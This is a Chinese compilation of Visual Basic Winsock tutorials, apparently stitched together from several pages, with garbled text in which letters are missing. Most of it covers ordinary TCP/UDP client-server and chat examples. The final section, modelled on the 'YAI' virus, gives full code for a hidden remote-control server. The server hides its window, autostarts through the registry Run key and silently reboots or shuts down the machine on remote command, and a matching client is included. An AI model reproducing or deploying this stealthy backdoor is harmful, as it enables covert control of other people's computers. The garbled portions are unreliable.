在VB中如何使用Winsock 控件本文介绍如何inSk控件可以与远程计算机连接,并用户数据文报协议(UDP)或者传输控制协议(TP)数据交换,并分别给出insk控件使用UDP协议和TP协议远程计算机连接的应用实例关键词:VB、控件、协议1.引言…本文介绍如何inSk控件可以与远程计算机连接,并用户数据文报协议(UDP)或者传输控制协议(TP)数据交换,并分别给出insk控件使用UDP协议和TP协议远程计算机连接的应用实例关键词:VB、控件、协议1.引言1.1insk控件的用途创建收集用户信息的客户端应用程序,并将收集的信息发送到某服务器。
创建服务器应用程序,多个用户的数据的汇入点。
创建“聊天”应用程序。
1.2选择通讯协议的标准在使用inSk控件时,需要考虑使用协议。
可以使用的协议包括TP和UDP。
两种协议之间的区别在于它们的连接状态:(1、)TP协议控件是基于连接的协议,可以将它同电话系统相比。
在开始数据传输之前,用户先连接。
(2、)UDP协议是无连接协议,两台计算机之间的传输类似于传递邮件:消息从一台计算机发送到另一台计算机,两者之间的连接。
,单次传输的最大数据量取决于的络。
到底选择哪协议通常是由需要创建的应用程序决定的。
下面的几个问题将有助于选择适宜的协议:在收发数据的时候,应用程序需要客户端或者服务器的确认信息?需要,使用TP协议,在收发数据之前先的连接。
数据量大(例如图象与声音文件)?在连接之后,TP协议将连接并数据的完整性。
不过,连接需要更多的计算资源,是“昂贵”的。
数据发送是间歇的,在会话内?例如,应用程序在某个任务的时候需要通知某个计算机,UDP协议是更适宜的。
UDP协议适合发送少量的数据。
1.3协议的设置在设计时,可以按如下设置应用程序使用的协议:在“属性”窗口中单击“协议”,然后选择skTPPrtl或者skUDPPrtl。
也可以使用程序代码来设置Prtl属性,如下所示:insk1.Prtl=skTPPrtl 1.4计算机的名称在与远程计算机相连接的时候,需要知道它的IP地址或者它的“计算机名”。
vb中winsock简单实例
vb中winsock简单实例在VB中,我们可以使用Winsock控件来实现网络通讯。
下面是一个简单的Winsock实例:1. 在VB中,首先要确保启用了Microsoft Winsock Control,可以在VB的工具箱中找到它。
2. 将一个Winsock控件拖放到表单上。
3. 双击Winsock控件,在代码编辑器中会自动生成一个Winsock控件的事件过程。
4. 在Winsock控件的事件过程中编写代码以处理网络通讯。
下面是一个简单的例子,演示了如何使用Winsock控件进行基本的客户端和服务器通讯:```vbPrivate Sub Form_Load()' 设置服务器地址和端口号Winsock1.RemoteHost = "127.0.0.1"Winsock1.RemotePort = 1234End Sub' 连接服务器按钮点击事件Private Sub cmdConnect_Click()Winsock1.Connect ' 连接到服务器End Sub' 断开连接按钮点击事件Private Sub cmdDisconnect_Click()If Winsock1.State <> sckClosed Then Winsock1.Close ' 断开连接End IfEnd Sub' 连接完成事件Private Sub Winsock1_Connect()MsgBox "已连接到服务器!"End Sub' 断开连接事件Private Sub Winsock1_Close()MsgBox "与服务器断开连接!"End Sub' 发送消息按钮点击事件Private Sub cmdSendMessage_Click()If Winsock1.State = sckConnected Then ' 发送消息到服务器Winsock1.SendData txtMessage.Text ElseMsgBox "未连接到服务器!"End IfEnd Sub' 接收消息事件Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim strData As StringWinsock1.GetData strData ' 从服务器接收数据MsgBox "接收到消息:" & strDataEnd Sub```在上面的例子中,载入表单时,代码设置了要连接的服务器地址和端口号。
VB Winsock
VB Winsock 入门送给初学VB Winsock的朋友Winsock通信是建立在两台PC机上的..包括服务端与客户端举个比方吧就好比那些木马吧你的电脑中了木马那么你的电脑成了服务端(暂且不考虑其他的情况,只是做个例子)Server 那些装木马的人的电脑就是个客户端Client. 我们若是想控制我们装有木马的程序的电脑.必须保证服务端运行.饿..还得知道IP 我们假设我们装有木马的电脑的IP暂且固定为127.0.0.1 好了,我们开始写这两个程序的代码.服务端代码弄个Text和winsock就可以了Private Sub Form_Load()Winsock1.LocalPort = '1234' '设置本地端口Winsock1.Listen '开始监听End SubPrivate Sub Winsock1_Close()Winsock1.ListenEnd SubPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)If Winsock1.State <> sckClosed Then Winsock1.CloseEnd If Winsock1.Accept requestIDEnd SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim mymsg As StringWinsock1.GetData mymsg, vbString '将接受的信息Text1.Text = mymsgIf mymsg = 'hello' Then '这里我们对信息判断进行相应的操作.MsgBox '你好' '我们可以不拘泥于这些,可以其他的命令..关机啊重启啊.End IfEnd SubPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)Winsock1.CloseEnd Sub客户端代码..Private Sub Command1_Click()Winsock1.SendData Text1.Text '发送Text1.Text信息End SubPrivate Sub Form_Load()Winsock1.RemoteHost = '127.0.0.1' '一切都设置好.开始连接Winsock1.RemotePort = '1234'Winsock1.Connect Text1.Text = '连接成功'End SubOK.都可以了..我们开始连接我们在客户端的Text里面输入hello 点击按钮发送嘿嘿..是不是发现服务端弹出对话框了 .. winsock可以用来制作聊天工具啊..网游也很需要Winsock.. 了解基本的信息后,大家可以尝试下做个聊天工具,也就是弄个聊天室这里不在多说了.. 饿..就这样了VB网络编程--WinSock控件及WinSockAPIWinSock简介Socket(套接字)最初是由加利福尼亚大学Berkeley(伯克利)分校为UNIX操作系统开发的网络通信接口,随着UNIX的广泛使用,Socket成为当前最流行的网络通信应用程序接口之一。
VB Winsock控件(UDP协议)的使用
Private Sub Form_Load() Winsock1.Bind 1000, LocalIP End Sub
第二个工程的代码:
2
Private Sub Form_Load() Winsock1.Bind 1001, LocalIP End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim a As String Winsock1.GetData a, vbString Text1.Text = a End Sub
创建一个Command控件
创建一个Text控件
再新建一个工程,创建一个Winsock控件,LocalPort填本地端口,RemotePort填远程端口, Protocol选1 – sckUDPProtocol(本例本地端口为1001,远程端口为1000)
创建一个Text控件
注意:本地端口和远程端口不能重合
Winsock控件是VB6.0的一个新的功能,它可以进行两台机器之间的通讯,它分两种协议, 一种是TCP协议,即Transmission Control Protocol 传输控制协议,另一种则是UDP协议, 即User Datagram Protocol用户数据包协议 ,也就是我要讲的。 打开VB6.0,选择Microsoft Winsock Control 6.0,在左边的选择框中打勾。
控件工具箱中也就多了这个图标(放大的):
1
新建一个工程,创建一个Winsock控件,RemoteHost填要连接到的机器的主机名或IP, LocalPort填本地端口,RemotePort填远程端口,Protocol选1 – sckUDPProtocol(本例本 地端口为1000,远程端口为1001)
VB网络编程中Winsock的使用-jy
VB网络编程中Winsock的使用如同上面的内容所描述的,不论您使用UDP协议或是TCP协议,Winsock控件都可以允许与远程的设备连接,并且在相互之间交换数据。
因此,依据上面的面熟而言,不论您使用的是哪一种协议都可以扮演主机端和客户端的角色。
同时,当您在使用Winsock控件的过程中,这个控件不会显示在正在执行的窗体之中。
换句话说,Winsock控件是在后台运行的一种控件。
在执行过程之中,不会具有任何选用、可见的控件。
那么该如何使用Winsock控件呢?它可以被应用在那些类型的应用程序之中呢?以下所列出的内容,是这个控件可以应用的大致范围:*将客户端所收集的数据,传送给主机端。
*点对点的文件传送。
*聊天室应用程序。
*电子公告栏。
*voip(voice over TCP/ip)因此,当您希望建立上述类型的应用程序之前,必须要学习如何选用适合的协议类型。
2-1如何选用适用的协议当您准备开始使用Winsock控件之前,首要的工作是如何选择适用的协议类型。
如同先前所述的,您可以选择TCP 协议或是UDP协议中的一种。
但是这两种协议的差异点在哪里呢?虽然,它们同样可以使用在Internet或是Internet环境之中,但是主要的差异在于连接的状态。
以下是这两种协议的特点说明:*TCP协议是属于面向连接的协议。
所谓的面向连接协议是指——“在您可以交换数据之前,在两个终端设备之间必须连接成功”。
同时,在网络的基础理论之中,都会特别强调TCP具有错误核对的功能。
也就是说,在数据的传送过程中,如果发生错误或是数据无法传达对方时,TCP协议将会重复尝试着重新传送数据。
因此,核对以及重新传送的能力,因此起传输效率会比Internet协议或是巨域网络协议差一些(netBIEUI、IPX、AppleTalk)。
*UDP协议是属于无面向连接协议。
这种协议为适用在两个设备之间,适用于信息传送以及数据的传输方面。
但是在使用时,必须注意当你将信息送出时,对方可能已经离线,因而无法接收到数据,而您也无法实时察觉到对方已经离线。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
VB中Winsock控件的使用--------------------------------------------------------------------------------前一段时间,一个名叫YAI的‘病毒’在我国闹的沸沸扬扬,许多不明真相的人对他感到神秘莫测,可是究其实质无非也就是一个远程控制软件罢了,只不过他的服务器端程序隐藏的十分好而已。
其实在VB5中有一个基于TCP\IP协议的Winsock控件,利用他改改属性,写几段代码,我们同样可以来一回YAI.由于篇幅所限,在这里我们只来看看对远程计算机的重启,关闭功能室如何实现的。
打开VB5后,在工具箱中并不能看到Winsock控件,通过鼠标右键单击工具箱点“部件”,再将“Microsoft Winsock Control 5.0”选中确定后,就可以将Winsock控件添加到工具箱中了。
远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两部分进行:一部分是服务器端--也就是被控制的一方,另一部分是客户端--控制方。
服务器程序要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求;客户程序则向服务器程序所在的网址请求连接,连接成功后通过交换信息即可得到相应的服务。
因此设置Winsock属性时,服务器端应设置LocalPort和应用Listen方法进行监听,客户程序则要设置RemoteHost 和RemotePort及应用Connect方法请求连接,并用Senddata方法互换信息。
下面是Winsock 控件的相关属性,方法和事件。
(略去一些暂用不到的)*属性-------------------------------------------------------------------------LocalHostName | 本地机器名LocalIP | 本地机器IP地址LocalPort | 本地机器通信程序的端口(0<端口<65536)RemoteHost | 远程机器名RemotePort | 远程机器的通信程序端口state | 连接的当前状态(文后有详细说明)Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)--------------------------------------------------------------------------*方法--------------------------------------------------------------------------ListenListen方法用于服务器程序,等待客户访问。
格式:Winsock对象.listenConnectConnect方法用于向远程主机发出连接请求格式:Winsock对象.connect [远程主机IP,远程端口]AcceptAccept方法用于接受一个连接请求格式:Winsock对象.accept Request IDSenddata此方法用于发送数据格式:Winsock对象.senddata 数据Getdata用来取得接收到的数据格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]Close关闭当前连接格式:Winsock对象.close*事件----------------------------------------------------------------------------Close | 远程机器关闭连接时触发Connect | 连接建立好,可以进行通信时触发(客户端)ConnectRequest | 有请求连接到达时产生(服务器端)DataArrival | 有数据到达时触发Error | 发生错误时发生SendProgress | 数据传送进度-----------------------------------------------------------------------------程序代码如下:--》服务器端程序(server.exe)先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run写入"C:\windows\server.exe"来达到目的。
当然也可通过在VB5中调用API函数来实现对注册表的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.Private Sub Form_Load()On Error GoTo skip 注释:如此端口已有通信程序则退出Winsock1.LocalPort = 1334 注释:端口值应大于1024,如还有冲突可改为其他值Winsock1.ListenExit Subskip:If Err.Number = 10048 ThenMsgBox "端口冲突,退出!", vbOKOnly, "注意!"EndEnd IfEnd SubPrivate Sub Winsock1_Close()If Winsock1.State <> sckClosed Then Winsock1.CloseWinsock1.Listen 注释:关闭连接后继续监听End SubPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)If Winsock1.State <> sckClosed Then Winsock1.CloseWinsock1.Accept requestID 注释:请求到达时,接受连接End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim strget As StringDim ccom As StringWinsock1.GetData strget 注释:读取到达的数据Select Case strgetCase "a" 注释:判断到达的数据是否‘a’,是则重启,你也可自己定义(协议就是这样产生的)ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 注释:不同机器设置不一样Call Shell(ccom, vbHide) 注释:由函数curr_win()来判断Case "b" 注释:如为‘b’则关闭计算机ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"Call Shell(ccom, vbHide) 注释:函数shell来执行命令Case Else 注释:可以在此加入其他命令End SelectEnd SubFunction curr_win() As StringDim i As IntegerDim enstr As Stringi = 1 注释:此函数通过读取环境变量来获得Windows目录enstr = Environ(i)Do While enstr <> ""If Len(enstr) > 11 ThenIf Left(enstr, 11) = "winbootdir=" Thencurr_win = Right(enstr, Len(enstr) - 11)Exit DoEnd IfEnd Ifi = i + 1enstr = Environ(i)LoopEnd FunctionPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByValScode As Long, ByVal Source As String, ByVal HelpFile As String,ByVal HelpContext As Long, CancelDisplay As Boolean)MsgBox "错误", vbOKOnly, "注意!" 注释:如程序出现错误,则简单的退出EndEnd Sub--》客户端程序(Client.exe)程序界面如图[control.jpg]防入四个命令按钮,一个标题框,一个Winsock控件,其属性设置如下:------------------------------------------------------------------------- -控件名 | 控件类 | 属性 | 属性值----------------------------------------------------------------------------closewin_but | commandbutton | caption | 远程关闭startwin_but | commandbutton | caption | 远程重启connect_but | commandbutton | caption | 连接exit_but | commandbutton | caption | 退出state_lab | label | borderstyle | 1-----------------------------------------------------------------------------代码如下:Private Sub Form_Load()Winsock1.LocalPort = 22226 注释:本地端口可任选,只要不冲突且小于65535,用注释:netstat -an命令可查看当前通信进程Winsock1.RemoteHost = "127.0.0.1" 注释:调试时此IP将对本机操作,实际应用时可注释:换上被控方IPWinsock1.RemotePort = 1334 注释:对应服务器端的localportstate_lab = "未建立连接."End SubPrivate Sub closewin_but_Click()If Winsock1.State <> sckConnected Thenstate_lab = "请先建立连接"ElseWinsock1.SendData "b" 注释:发出关闭命令End IfEnd SubPrivate Sub startwin_but_Click()If Winsock1.State <> sckConnected Thenstate_lab = "请先建立连接"ElseWinsock1.SendData "a" 注释:发出重启命令End IfEnd SubPrivate Sub connect_but_Click()On Error GoTo skipIf Winsock1.State = sckConnected Thenstate_lab = "已建立连接了"ElseWinsock1.ConnectEnd IfExit Subskip: 注释:用netstat命令看到状态为Time_wait则If Err.Number = 10048 Then 注释:须等待一段时间才可连接,也可换另一注释:端口,可加快连接速度MsgBox "端口正在使用,请稍后再试!", vbOKOnly, "注意!"EndEnd IfEnd SubPrivate Sub exit_but_Click()Winsock1.Close 注释:关闭连接且退出EndEnd SubPrivate Sub Winsock1_Connect()state_lab = "建立连接成功!可发送命令."End SubPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String,ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,ByVal HelpContext As Long, CancelDisplay As Boolean)MsgBox "错误", vbOKOnly, "注意!"EndEnd Sub通过上面的例子,我们大概了解了远程控制的原理,对于其他功能的实现应该不难了。